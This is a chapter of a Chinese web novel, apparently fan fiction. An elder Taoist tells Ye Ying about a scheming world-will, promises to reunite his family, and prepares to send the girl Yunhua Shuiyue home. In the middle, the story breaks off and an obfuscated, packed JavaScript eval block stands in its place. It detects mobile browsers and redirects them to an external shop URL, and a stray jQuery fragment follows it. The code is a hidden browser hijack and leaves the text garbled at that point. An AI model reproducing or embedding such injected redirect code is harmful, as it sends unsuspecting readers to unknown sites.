52.震惊!天道居然这样!
作品:《病美人如何在崩坏世界饲养庄花?》 纯阳子看着叶英那副明显被自己反应惊到又强自镇定的样子,心里的火气稍微降下去一点,但提起隔壁那个无赖天道,还是忍不住想骂街。
他深吸一口气,努力让自己看起来更像个德高望重的老前辈,但语气里的愤愤不平还是藏不住:
“你且听好了,事情根本不是它说的那样!”
他指了指内室方向,压低了声音,神情严肃:
“你媳妇儿的身份,可没那么简单。牵扯到的东西,比你想的深得多。”
叶英心头一紧,下意识地也朝内室看了一眼。
芊雅的身份……他隐约知道一些,但听道长的意思,似乎远不止天道所说的女主那么简单。
“至于老夫我,”纯阳子捋了捋胡子,语气里带着点憋屈,“我可从来没觉得你无关紧要!你是我大唐世界的重要人物,未来的顶梁柱,我怎么可能不找你?”
他越说越气,拂尘都差点甩起来:
“是那个破落户!是它一直拦着!把我发过去的所有消息都给沉了!你知道它有多不要脸吗?!”
纯阳子像是终于找到了倾诉对象,开始控诉:
“就为了它那个破世界能晋升,它什么缺德事干不出来?扮女的骗婚生孩子这种事儿都干得出来!还到处偷别人家的能量,跟个饿死鬼投胎似的!你以为它是什么善茬吗?!”
说到“扮女的骗婚生孩子”时,纯阳子似乎意识到自己说漏了嘴,猛地咳嗽了两声,眼神飘忽了一下,赶紧把后面更劲爆的话咽了回去。
叶英却听得心头巨震。
扮女的骗婚……生孩子?
一界天道怎么能做出这样离谱的事?这真的还是公正无私的天道吗?
不,现在不是深究这个的时候。
纯阳子已经迅速调整了表情,重新变得严肃起来:
“咳……总之,此行我过来,的确是为了带你走的。”
叶英猛地抬眼。
“但是现在的情况……”纯阳子顿了顿,目光扫过内室和摇篮里的两个孩子,语气变得有些无奈,“估计你也走不了。”
他叹了口气,看着叶英:“我知道,虽然这小丫头身份特殊了点,但老道我也不是那种殃及池鱼、不通情理的人。就她现在这身体和状况,还有你那……嗯,颇为特殊的长子。”
他的目光在长子眉心那点朱砂痣上停留了一瞬,眼中闪过一丝了然。
“想必,你也没有那个心走了。”
叶英沉默着,没有否认。
他的确走不了。
妻子刚刚为他拼死诞下儿女,身体极度虚弱,长子又似乎异于常人,女儿也还那么小……他怎么可能抛下他们离开?
纯阳子看着他挣扎的神色,语气变得郑重起来:
“但是,小子,你记好了。”
“你是其他世界的人。你在这个地方的每一天,你的存在本身,你的力量,你的情感,甚至你的呼吸,都是在感染这个世界,并且在这个世界扎根。”
“一旦当有一天,你被这个世界彻底抹去了你原本世界的印记,与这个世界同化得太深……你就永远也回不去了。”
叶英的心沉了下去。
“现在,你能回去。”纯阳子继续道,声音清晰,“是因为这个世界刚刚晋升成真实,拥有了一个新的相对稳固的坐标。在这个新旧交替规则尚未完全固化的短暂窗口期,是你最好的也可能是最后的回去时机。”
“如果错过了这个时间,”纯阳子看着他,眼神里带着一丝凝重,“以后你再想回去,那老道我……可就不一定有办法了。”
“毕竟,之前那小破落户还是个半成品,老道我碾压它也算是轻轻松松。可现在不同了,这个世界变成真实之后,它的能力大大增强,对内部的掌控也会更加严密。到时候,你再想走,可就难了。”
叶英抿紧了唇。
一边是刚刚为他豁出性命此刻虚弱沉睡的妻子,以及他们刚刚降世嗷嗷待哺的一双儿女。
另一边,是远在另一个世界、可能正因他的失踪而焦头烂额、忧心如焚的父亲、弟弟们和病弱的妹妹,是他身为藏剑山庄少庄主不可推卸的责任。
两边的重量,都沉甸甸地压在他的心上,几乎要将他撕裂。
他该如何选择?
抛下妻儿,回到自己的世界,履行对家族的责任?
那他如何对得起芊雅?如何面对这两个刚刚来到世上的孩子?
留在这里,与妻儿相守,却可能永远失去回家的路,让父亲和弟弟们承受失去至亲的痛苦,让藏剑山庄失去未来的继承人?
难道……就没有两全之法吗?
他抬起眼,看向纯阳子,眼中带着最后一丝希冀和挣扎:
“道长……难道就没有其他办法了吗?”
纯阳子看着他眼中那近乎绝望的恳求,沉默了片刻。
他捋着胡须,似乎在权衡着什么。
最终,他缓缓开口:
“也不是……完全没有。”
叶英的眼睛骤然亮起。
“等以后,时机合适的时候,老道我……也不是不可以看看情况,尝试着帮你把家人接过来,或者……用别的法子,让你们一家团圆。”
纯阳子顿了顿,语气变得异常严肃:
“但是,这样做,你要受很多苦。时空穿梭,跨界联系,绝非易事。其中风险代价以及可能带来的变数,都难以预料。而且,需要等待,可能需要很久,也可能……永远等不到那个合适的时机。”
他看着叶英,一字一句地问:
“你确定,要选这条路?”
叶英几乎没有犹豫。
他看了一眼内室沉睡的妻子,又看了看摇篮里安睡的两个孩子,最后目光坚定地落回纯阳子身上。
他后退一步,对着纯阳子,深深一揖到底。
声音清晰,坚定,不容置疑:
“无论有任何艰难险阻,无论需要等待多久,还请道长……能让我一家团圆。”
“叶英,愿承担一切后果。”
纯阳子看着眼前这个刚刚经历巨大冲击却依旧脊背挺直的青年,看着他眼中那份为了家人不惜一切的决绝,心中那点因为天道而生的恼火,忽然就淡了许多。
这小子……倒是有担当,重情义。
罢了。
他既然已经插手了这么多,也不在乎再多管一桩闲事。
纯阳子捋了捋胡须,脸上终于露出一丝带着点欣赏的笑意。
“好。”
他拂尘一摆,声音清越:
“既然你这么说,那老道……便帮你这一回。”
“多谢道长。道长大恩,叶英没齿难忘。”
叶英再次深深一揖,语气诚挚。
无论这位道长与那天道有何恩怨,也无论他未来要为此付出何种代价,至少此刻,道长给了他最后一点希望。
纯阳子摆了摆手,示意他不必多礼。
目光却转向了一直站在旁边,因为刚才那番涉及世界本源的对话而听得云里雾里大气不敢出此刻正努力缩小存在感的云华水月。
“小丫头,你过来。”纯阳子对着她招了招手。
云华水月愣了一下,看看叶英,又看看老道士,虽然满心疑惑和刚才被忽视的小小委屈,但还是乖乖地走了过去。
纯阳子看着她那身金光闪闪的校服,又看看她背后那对造型奇特的轻重剑,眼中闪过一丝了然的笑意。
“你也算是……帮了老道一些忙。”纯阳子捋着胡子,语气温和了些
“如今此间事了,我也不让你白忙活一场。我现在便施法,送你回你原本的世界,如何?”
云华水月彻底懵了。
她眨了眨大眼睛,脑子里一片混乱。
帮忙?帮什么忙?
她什么时候帮忙了?
但送她回去?回现代?
回有手机有电脑有游戏有外卖的世界?
她当然想回去!做梦都想!</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17228396|197544||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
可是……系统呢?任务呢?
推动故事力呢?就这么……结束了?
她下意识地看向叶英,又看向内室的方向,心里忽然涌起一股浓浓的不舍。
虽然庄花总是冷着脸,他还经常罚她练剑……
可是,在这里的这段日子,是她从未有过的真实而鲜活的经历。
庄花沉默而可靠,师娘温柔又耐心,甚至府里那些被她捉弄过的丫鬟婆子……
还有……她偷偷看了一眼叶英。
虽然她总是“师父”“师父”地叫,虽然她知道那多半是假的,虽然师父可能根本就没信过她那些鬼话……但这段日子,她是真的把他当成了师父来敬重和依赖的。
要走了吗?
她都还没来得及去那个世界看看山庄的其他人呢……
她还有那么多意难平没有做呢……
想到这儿云华水月突然对着脑海又说了些什么,然后才深呼吸了一口气说
“好”
叶英此刻也正看着她,眼神复杂。
疑虑自然是有的。
这小丫头出现得蹊跷,行事跳脱,满嘴跑火车。
什么五弟死了喜欢听他拉二胡,什么每年祭日拉二胡送行,还有那乱七八糟的风来吴山拆花园……
他恢复记忆后只一回想,就知道全是胡编乱造。
就算是她自称是他徒弟这一点都是瞎编的,他如今不过二十四岁,尚未正式接任庄主,按照藏剑山庄的规矩和惯例,远未到开山收徒的年纪。她却能施展出藏剑山庄的独门武学,这怎能不让他心生戒备和疑虑?
云华水月对上叶英那审视中带着疏离的目光,心里那点不舍顿时被浇了一盆冷水,有些发凉也有些受伤。
她低下头,手指无意识地绞着衣角。
纯阳子将两人的反应看在眼里,笑了笑,开口道:
“叶英小子,你也莫要怪这小丫头。”
叶英和云华水月同时看向他。
“她是老道我……嗯,派过来的。”纯阳子斟酌了一下用词,没提系统绑架改造那些糟心事,“之前或许为了……推动一些事情,做了一些不太理智甚至有些胡闹的行为。”
他看了一眼云华水月,小丫头正睁大眼睛,一脸的茫然。
“但人是不坏的。”纯阳子语气肯定
“对你,对你家小媳妇都没有坏心眼。这点,老道可以担保。”
叶英闻言,紧绷的神色终于缓和下来。
道长既然亲自开口作保,那便不会有假。
他心中的疑虑和戒备,也随之消散了大半。看向云华水月的目光,也少了审视,多了几分复杂的了然。
原来如此。是道长派来的人。
那那些古怪的行为,或许……真有不得已的缘由?
云华水月见师父眼神变了,心里那点委屈也淡了些,但离别的伤感却更浓了。
她吸了吸鼻子,对着叶英,又看了看内室方向,声音有些哽咽:
“师父……师娘……我……我要走了。”
她顿了顿,似乎觉得师父这个称呼有些不妥,连忙改口:“少……少庄主,林姐姐……来这里这么久,跟你们待在一起,真的很开心。”
她说着,眼圈就红了。
“要是我……要是我真的能是师父的徒弟就好了……”她小声嘀咕了一句,声音轻得几乎听不见,却带着满满的遗憾。
面对这突如其来的离别场面,叶英依旧沉默寡言。
他看着眼前这个总是活力过剩给他惹了不少麻烦却也带来不少……嗯,独特“体验”的小姑娘,心中那点因她胡闹而生的无奈,此刻也化作了淡淡的怅然。
罢了……他也并非铁石心肠。
这数月相处,点点滴滴,虽荒诞居多,却也真实。
就在纯阳子手中开始凝聚起柔和清光,准备施法送云华水月离开时,叶英忽然依旧平淡的开口
“若日后有重逢之机,你或可拜入我门下。”

